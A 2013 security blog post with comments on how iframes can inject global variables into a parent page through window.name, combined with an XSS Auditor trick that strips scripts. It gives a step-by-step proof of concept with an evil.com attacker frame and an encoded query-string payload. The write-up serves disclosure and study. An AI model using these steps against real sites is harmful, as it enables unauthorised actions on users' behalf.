Saturday, April 20, 2013

How frames can mess with parent's namespace

This post describes pitfalls of cross-frame navigation. It started to "feel wrong" from the very beginning, and yesterday I noticed another quite interesting behaviour.

First of all, look closely at 'frames' property. Did you know that...


window == frames
true
self == frames
true
frames and window are the same variable — WindowProxy object. 
You probably know that any frame is accessible in parent via calling window.name:
<iframe name="some_frame" src=...> creates some_frame variable pointing to another WindowProxy object.

The tricky part is, frame can redefine its own window.name and it will inject a new variable in parent's namespace (if that variable is undefined — you cannot shadow existing variables...)

Let me remind you the "script killer" trick (we used to kill framebreakers with it). XSS Auditor by default removes pieces of scripts looking "malicious" (if you want to cut off <script src="/lib.js"></script> just pass this code in the query string)

Rough example:
1. page on (frameable) site.com has some innocent iframe (e.g. facebook like).
2. also it does some actions when JS variable 'approved' is true-ish:
<script>var approved = false</script>
after page load or click ...
<script>if(approved){actions!}else{alert('not approved yet');}
3. evil.com opens <iframe name="target" src="http://site.com/page?slice=%3Cscript%3Evar%20approved%20%3D%20false%3C%2Fscript%3E"> - this kills approved variable.
4. Now it navigates facebook button (because of Frame Navigation madness) target[0].location='http://evil.com/constructor' (target is WindowProxy - and [0] is its first frame - fb like)
5. constructor changes frame's window.name = 'approved'
6. now there is "approved" variable in namespace of site.com and if(approved) returns true - actions!

Also:
1. approved+'' returns "[object Window]" (didn't find a way to redefine toString). Would be much more dangerous if we could play with the stringified value
2. it can be any complex nested variable (/constructor will just build nested frames page with specific window.names). e.g. config.user.names[0] - we can replace this variable (creating iframe in "names" iframe under "user" iframe which is under "config" iframe)! With [object Window], but anyway ;)
3. you can use this playground from previous post

Such tricks are reminders how ridiculous web standards can be (URL disclosure is my favorite WontFix).


5 comments:

  1. "Let me remind you the "script killer" trick (we used to kill framebreakers with it). XSS Auditor by default removes pieces of scripts looking "malicious" (if you want to cut off script src="/lib.js" just pass this code in the query string)"

    I don't think,using just script src="/lib.js" will enforce the XSS Auditor to block that piece of code. The src of the script must be a cross-domain JS file like, http://www.attacker.com/evil.js. And most websites don't load security sensitive JS from a cross-domain site, other than a few JS libraries.

    ReplyDelete
    Replies
    1. good point, but it will work for example (/script approved=false)
      i will check again if it's possible to slice somehow locally hosted scripts

      Delete
    2. Yes. And, that would be really great :)

      Delete
  2. This is neat. Thank you for the write-up. Another reason why web administrators should provide an x-frame-options header...

    ReplyDelete
  3. In latest Firefox, setting window.name in iframe no longer creates a variable in parent window. It still works in Chrome though.

    ReplyDelete